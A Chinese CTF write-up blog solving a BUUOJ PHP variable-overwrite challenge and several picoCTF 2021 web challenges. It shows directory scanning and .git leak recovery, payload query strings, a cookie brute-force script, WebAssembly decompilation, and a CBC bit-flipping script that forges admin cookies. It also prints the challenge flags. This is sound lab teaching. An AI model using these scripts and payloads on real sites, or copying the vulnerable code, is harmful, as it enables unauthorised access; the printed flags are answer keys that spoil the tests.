人静的雨夜想起了她,她的挽留还萦绕耳旁

引言

无,刷题

Mark loves cat

访问靶机寻找,在各个位置查看都是一样的界面,然后找信息泄露,最常见的网站备份没有发现。所以就尝试了扫目录。这里提一下扫目录的时候。我之前在扫描的时候,都是直接默认线程扫描。可能会导致自己的IP被ban,这里的dirsearch扫描的时候可以控制以下线程。
比如:

python .\dirsearch.py -u "http://xxx.node3.buuoj.cn/" -e * --timeout=2 -t 1 -x 400,403,404,500,503,429


这里发现了git泄露,如果是默认线程扫描,我也进行了尝试,git泄露都扫不出来,所以这也算是一个小技巧。
然后gitHack进行复原git泄露的文件,发现报错比较多,而且它不稳定。index.phpflag.php能扫描出来但是无法下载下来。所以我有找到了一个更好一点的工具,使用比较不错https://github.com/gakki429/Git_Extract
使用方法与GitHack差不多。
然后是下载下来了文件。

#index.php
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;
#flag.php
<?php

$flag = file_get_contents('/flag');

瞄一眼代码,首先想到变量覆盖。
先看这里foreach,三个foreach有这不同的处理方式,这里首先说以下构造payload的两种思路

  • 通过最后一个if控制语句来构造exit会返回$is,要做的就是用$is覆盖掉$flag的值,尝试get的方式传参,传入is=flag会变成$is=$flag,这里就将flag的值传输过来了。然后需要绕过第一个if控制,就是需要传入flag参数,不管get或者post方式。否则就返回$yds

    所以这里就需要利用第二个if了。
    任意传入一个flag=flag即可,但是传入方式,从代码看不能是post,因为如果是post,就被第一个foreach语句给打乱了整个逻辑。所以要get方式传入。
    以get方式传入参数还能绕过第三个foreach。就可以得到flag了。
    payload:?is=flag&flag=flag
    第二种:?yds=flag
    这个属于直接利用第一个if,利用变量覆盖漏洞,得到flag。很简单一道题目,自己看看就好了。

    以下内容来自PicoCTF

GET aHEAD

题目描述:找到此服务器上的flag以在比赛中领先

hints:

Maybe you have more than 2 choices
Check out tools like Burp suite to modify your requests and look at the responses

第三种选择,这里提供选择的很明显的一个是颜色,red and blue,然后就是使用burp suite查看响应包并修改一些什么内容。

image-20210807173900720

发现能改的地方,几乎没有,几个0改1,1改0等等,都没有什么反应,然后就剩下一个地方可以改了,就是请求方式
发现在choose Red的时候是get请求。而choose Blue的时候是POST请求,所以猜想可能是修改成另一种请求方式。
image-20210807174501491
结合题目名字,修改请求头为HEAD,然后发包,拿到flag
image-20210807175043582

Cookies

在这个搜索cookie的框中,有个占位文本,snickerdoodle,直接输入它,会进入到一个check页面,网页会返回I love snickerdoodle cookies!,然后找遍请求包也没找到flag,这里看到在请求包中存在
image-20210807181659435

cookie中有个变量名为name,且为0,尝试将其改为其它数字,1,2,3….

发现返回内容会有变化,所以这里可能就是flag所在。

Python脚本进行修改name的值,并获取返回内容,得到flag

import requests
url = "http://mercury.picoctf.net:29649/check"

for i in range(0, 20):
    text = str(i)
    cookies = {
        'name': text
    }

    r = requests.get(url, cookies=cookies)
    result = r.text.split(
        "<p style=\"text-align:center; font-size:30px;\"><b>")[1].split("</b>")[0]
    print("[+] Testing Cookie:{} | Result: {}".format(i, result))
    if 'I love' not in result:
        print(r.text.split("<code>")[1].split("</code>")[0])
        break
        
"""详情"""
split()截取屏幕中央返回字符串内容的html代码

Scavenger Hunt

一个寻宝游戏,跟Insp3ct0r差不多,第一段flag在主站源代码中注释着。第二段flag在css代码中注释着。然后再看js代码中,会发现提示

/* How can I keep Google from indexing my website? */

与Apache有关的文件,或者说是Apache独有的文件,极有可能是apache的配置文件,以往apache服务刚安装的时候,默认会生成的文件是.htaccess文件,这里直接访问果然得到了信息。

# I love making websites on my Mac, I can Store a lot of information there.

Mac独有的信息文件,.DS_Store访问即可获取信息泄露的内容。
总结:

<!-- Here's the first part of the flag: picoCTF{t -->
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
/* How can I keep Google from indexing my website? */
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?
# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.
Congrats! You completed the scavenger hunt. Part 5: _fa04427c}

result: picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_fa04427c}

Some Assembly Required 1

这样的题目,emmm,总是遇到,完全没有思路。
思路一:全部复制JS代码,粘贴到控制台。有机会可以运行就能拿到flag
思路二:玩转JS。(鲨了我)
看JS代码

const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}

进行美化

'use strict';
const _0x402c = ["value", "2wfTpTR", "instantiate", "275341bEPcme", "innerHTML", "1195047NznhZg", "1qfevql", "input", "1699808QuoWhA", "Correct!", "check_flag", "Incorrect!", "./JIFxzHyW8W", "23SMpAuA", "802698XOMSrr", "charCodeAt", "474547vVoGDO", "getElementById", "instance", "copy_char", "43591XxcWUl", "504454llVtzW", "arrayBuffer", "2NIQmVj", "result"];
const _0x4e0e = function(url, whensCollection) {
  /** @type {number} */
  url = url - 470;
  let _0x402c6f = _0x402c[url];
  return _0x402c6f;
};
(function(data, oldPassword) {
  const toMonths = _0x4e0e;
  for (; !![];) {
    try {
      const userPsd = -parseInt(toMonths(491)) + parseInt(toMonths(493)) + -parseInt(toMonths(475)) * -parseInt(toMonths(473)) + -parseInt(toMonths(482)) * -parseInt(toMonths(483)) + -parseInt(toMonths(478)) * parseInt(toMonths(480)) + parseInt(toMonths(472)) * parseInt(toMonths(490)) + -parseInt(toMonths(485));
      if (userPsd === oldPassword) {
        break;
      } else {
        data["push"](data["shift"]());
      }
    } catch (_0x41d31a) {
      data["push"](data["shift"]());
    }
  }
})(_0x402c, 627907);
let exports;
(async() => {
  const findMiddlePosition = _0x4e0e;
  let leftBranch = await fetch(findMiddlePosition(489));
  let rightBranch = await WebAssembly[findMiddlePosition(479)](await leftBranch[findMiddlePosition(474)]());
  let module = rightBranch[findMiddlePosition(470)];
  exports = module["exports"];
})();
/**
 * @return {undefined}
 */
function onButtonPress() {
  const navigatePop = _0x4e0e;
  let params = document["getElementById"](navigatePop(484))[navigatePop(477)];
  for (let i = 0; i < params["length"]; i++) {
    exports[navigatePop(471)](params[navigatePop(492)](i), i);
  }
  exports["copy_char"](0, params["length"]);
  if (exports[navigatePop(487)]() == 1) {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(486);
  } else {
    document[navigatePop(494)](navigatePop(476))[navigatePop(481)] = navigatePop(488);
  }
}
;

这个地方要涉及到一个知识点:webassembly,随着Web技术越来越成熟,人们已经不满足浏览器只可以支持简单的网页了,3D游戏一直是开发者们坚持的目标,想让3D游戏可以在浏览器中运行起来。比如这个win2000的机器就可以在浏览器中打开:https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/win2k.cfg&mem=192&graphic=1&w=1024&h=768
WebAssembly也是一中将C/C++语言编译成JS代码,不过编译过后WebAssembly成了二进制字节码
下载下来

wget http://mercury.picoctf.net:36152/JIFxzHyW8W -q -O script.wasm
file script.wasm
./wasm2wat script.wasm > script.wat

得到文件

(module
  (type (;0;) (func))
  (type (;1;) (func (param i32 i32) (result i32)))
  (type (;2;) (func (result i32)))
  (type (;3;) (func (param i32 i32)))
  (func (;0;) (type 0))
  (func (;1;) (type 1) (param i32 i32) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    global.get 0
    local.set 2
    i32.const 32
    local.set 3
    local.get 2
    local.get 3
    i32.sub
    local.set 4
    local.get 4
    local.get 0
    i32.store offset=24
    local.get 4
    local.get 1
    i32.store offset=20
    local.get 4
    i32.load offset=24
    local.set 5
    local.get 4
    local.get 5
    i32.store offset=16
    local.get 4
    i32.load offset=20
    local.set 6
    local.get 4
    local.get 6
    i32.store offset=12
    block  ;; label = @1
      loop  ;; label = @2
        local.get 4
        i32.load offset=16
        local.set 7
        i32.const 1
        local.set 8
        local.get 7
        local.get 8
        i32.add
        local.set 9
        local.get 4
        local.get 9
        i32.store offset=16
        local.get 7
        i32.load8_u
        local.set 10
        local.get 4
        local.get 10
        i32.store8 offset=11
        local.get 4
        i32.load offset=12
        local.set 11
        i32.const 1
        local.set 12
        local.get 11
        local.get 12
        i32.add
        local.set 13
        local.get 4
        local.get 13
        i32.store offset=12
        local.get 11
        i32.load8_u
        local.set 14
        local.get 4
        local.get 14
        i32.store8 offset=10
        local.get 4
        i32.load8_u offset=11
        local.set 15
        i32.const 255
        local.set 16
        local.get 15
        local.get 16
        i32.and
        local.set 17
        block  ;; label = @3
          local.get 17
          br_if 0 (;@3;)
          local.get 4
          i32.load8_u offset=11
          local.set 18
          i32.const 255
          local.set 19
          local.get 18
          local.get 19
          i32.and
          local.set 20
          local.get 4
          i32.load8_u offset=10
          local.set 21
          i32.const 255
          local.set 22
          local.get 21
          local.get 22
          i32.and
          local.set 23
          local.get 20
          local.get 23
          i32.sub
          local.set 24
          local.get 4
          local.get 24
          i32.store offset=28
          br 2 (;@1;)
        end
        local.get 4
        i32.load8_u offset=11
        local.set 25
        i32.const 255
        local.set 26
        local.get 25
        local.get 26
        i32.and
        local.set 27
        local.get 4
        i32.load8_u offset=10
        local.set 28
        i32.const 255
        local.set 29
        local.get 28
        local.get 29
        i32.and
        local.set 30
        local.get 27
        local.set 31
        local.get 30
        local.set 32
        local.get 31
        local.get 32
        i32.eq
        local.set 33
        i32.const 1
        local.set 34
        local.get 33
        local.get 34
        i32.and
        local.set 35
        local.get 35
        br_if 0 (;@2;)
      end
      local.get 4
      i32.load8_u offset=11
      local.set 36
      i32.const 255
      local.set 37
      local.get 36
      local.get 37
      i32.and
      local.set 38
      local.get 4
      i32.load8_u offset=10
      local.set 39
      i32.const 255
      local.set 40
      local.get 39
      local.get 40
      i32.and
      local.set 41
      local.get 38
      local.get 41
      i32.sub
      local.set 42
      local.get 4
      local.get 42
      i32.store offset=28
    end
    local.get 4
    i32.load offset=28
    local.set 43
    local.get 43
    return)
  (func (;2;) (type 2) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    i32.const 0
    local.set 0
    i32.const 1072
    local.set 1
    i32.const 1024
    local.set 2
    local.get 2
    local.get 1
    call 1
    local.set 3
    local.get 3
    local.set 4
    local.get 0
    local.set 5
    local.get 4
    local.get 5
    i32.ne
    local.set 6
    i32.const -1
    local.set 7
    local.get 6
    local.get 7
    i32.xor
    local.set 8
    i32.const 1
    local.set 9
    local.get 8
    local.get 9
    i32.and
    local.set 10
    local.get 10
    return)
  (func (;3;) (type 3) (param i32 i32)
    (local i32 i32 i32 i32 i32)
    global.get 0
    local.set 2
    i32.const 16
    local.set 3
    local.get 2
    local.get 3
    i32.sub
    local.set 4
    local.get 4
    local.get 0
    i32.store offset=12
    local.get 4
    local.get 1
    i32.store offset=8
    local.get 4
    i32.load offset=12
    local.set 5
    local.get 4
    i32.load offset=8
    local.set 6
    local.get 6
    local.get 5
    i32.store8 offset=1072
    return)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 2)
  (global (;0;) (mut i32) (i32.const 66864))
  (global (;1;) i32 (i32.const 1072))
  (global (;2;) i32 (i32.const 1024))
  (global (;3;) i32 (i32.const 1328))
  (global (;4;) i32 (i32.const 1024))
  (global (;5;) i32 (i32.const 66864))
  (global (;6;) i32 (i32.const 0))
  (global (;7;) i32 (i32.const 1))
  (export "memory" (memory 0))
  (export "__wasm_call_ctors" (func 0))
  (export "strcmp" (func 1))
  (export "check_flag" (func 2))
  (export "input" (global 1))
  (export "copy_char" (func 3))
  (export "__dso_handle" (global 2))
  (export "__data_end" (global 3))
  (export "__global_base" (global 4))
  (export "__heap_base" (global 5))
  (export "__memory_base" (global 6))
  (export "__table_base" (global 7))
  (data (;0;) (i32.const 1024) "picoCTF{d88090e679c48f3945fcaa6a7d6d70c5}\00\00"))

关于wasm2wat文件,在https://github.com/WebAssembly/wabt/releases
选择适合你的系统的打包好的文件。
其实直接下载wasm文件后直接打开也可以看到flag字符串。算是一个非预期解吧。

More Cookies

描述:I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!

Hints: https://en.wikipedia.org/wiki/Homomorphic_encryption

The search endpoint is only helpful for telling you if you are admin or not, you won’t be able to guess the flag name

进入网站拿cookie

# cookie
OERIWnFUQXI2bHNOeHB5cVRmd3FXMkY1SjBpWmdyMXpaU0JFdkVraWhucGdoY0k4dGpBeDFtQ1FMM1oweXdnZFlteGJ5Mmk0bFM0UUc5ZHhvaFFqL0czMGhyQmZ3alNFNHZKbW53eTJYZll1VXBJTW14OHFEb0swTnpDdEMvWU4=
# base64 -d
8DHZqTAr6lsNxpyqTfwqW2F5J0iZgr1zZSBEvEkihnpghcI8tjAx1mCQL3Z0ywgdYmxby2i4lS4QG9dxohQj/G30hrBfwjSE4vJmnwy2XfYuUpIMmx8qDoK0NzCtC/YN
┌──(root💀m0re)-[~/桌面/CTF]
└─# echo 8DHZqTAr6lsNxpyqTfwqW2F5J0iZgr1zZSBEvEkihnpghcI8tjAx1mCQL3Z0ywgdYmxby2i4lS4QG9dxohQj/G30hrBfwjSE4vJmnwy2XfYuUpIMmx8qDoK0NzCtC/YN | base64 -d | xxd -g 1
00000000: f0 31 d9 a9 30 2b ea 5b 0d c6 9c aa 4d fc 2a 5b  .1..0+.[....M.*[
00000010: 61 79 27 48 99 82 bd 73 65 20 44 bc 49 22 86 7a  ay'H...se D.I".z
00000020: 60 85 c2 3c b6 30 31 d6 60 90 2f 76 74 cb 08 1d  `..<.01.`./vt...
00000030: 62 6c 5b cb 68 b8 95 2e 10 1b d7 71 a2 14 23 fc  bl[.h......q..#.
00000040: 6d f4 86 b0 5f c2 34 84 e2 f2 66 9f 0c b6 5d f6  m..._.4...f...].
00000050: 2e 52 92 0c 9b 1f 2a 0e 82 b4 37 30 ad 0b f6 0d  .R....*...70....

在cookie的字节中,需要找到类似的admin=0,将其变成admin=1,意思就是将其字节进行翻转。使其构成其相反的意思。

from pwn import *
import requests
import base64
import re

URL = "http://mercury.picoctf.net:34962/"
COOKIE_NAME = "auth_name"

def main():
    s = requests.Session()
    r = s.get(URL)
    cookie = s.cookies[COOKIE_NAME]
    raw_cookie = bytearray(base64.b64decode(base64.b64decode(cookie)))
    log.info(f"Cookie: {cookie}")

    with log.progress("Flipping bits") as p:
        for byte_index in range(len(raw_cookie)):
            for i in range(8):
                mask = (1 << i)

                p.status(f"Trying to flip index {byte_index}/{len(raw_cookie)} with mask {hex(mask)}")

                # Flip the bit
                raw_cookie[byte_index] ^= mask

                new_cookie = base64.b64encode(base64.b64encode(raw_cookie)).decode("ascii")
                r = requests.get(URL, cookies = {COOKIE_NAME: new_cookie})
                if (m:= re.search(r"picoCTF{[^}]+}", r.text)) is not None:
                    log.success(f"Flipped index {byte_index}/{len(raw_cookie)} with mask {hex(mask)}, Flag: {m.group(0)}")
                    return

                # Flip the bit back
                raw_cookie[byte_index] ^= mask

if __name__ == "__main__":
    main()

运行脚本即可得到flag,看在哪个字节进行翻转可以得到admin权限

> python3 exploit.py
[x] Flipping bits: Trying to flip index 9/96 with mask 0x1
[+] Flipped index 9/96 with mask 0x1, Flag: picoCTF{cO0ki3s_yum_e40d16a9}
[+] Flipping bits: Done

脚本解析

requests.Session()
#requests库的session会话对象可以跨请求保持某些参数,就是比如你使用session成功的登录了某个网站,则在再次使用该session对象请求该网站的其他网页都会默认使用该session之前使用的cookie等参数,与刷新网页是有区别的
cookie = s.cookies[COOKIE_NAME]
#这里设置的cookie是所有请求中都会附带的
bytearray() #方法返回一个新字节数组。这个数组里的元素是可变的,并且每个元素的值范围: 0 <= x < 256。
bytearray([source[, encoding[, errors]]])
#如果 source 为字符串,则按照指定的 encoding 将字符串转换为字节序列;
log.info()#日志的打印方式
progress #文本进度条
for byte_index in range(len(raw_cookie))
# raw_cookie的长度,并循环循环这么多次,直到每一个字节的都替换一次
<< 二进制数字位操作的一种, 前面是被移动的数字, 后面一个是移动的位数.
#2 = 0b10
2 << 2
#输出: 8
#8 = 0b1000
bin(2 << 2)
#输出: 0b1000
^ 异或,也就是这里进行翻转。
#然后将cookie重新设置为新生成的,加载并刷新网页。在返回包中有匹配到picoCTF{[^}]+}则是flag。

Reference

https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF

https://github.com/xnomas/PicoCTF-2021-Writeups

https://github.com/JeffersonDing/CTF/blob/master/pico_CTF_2021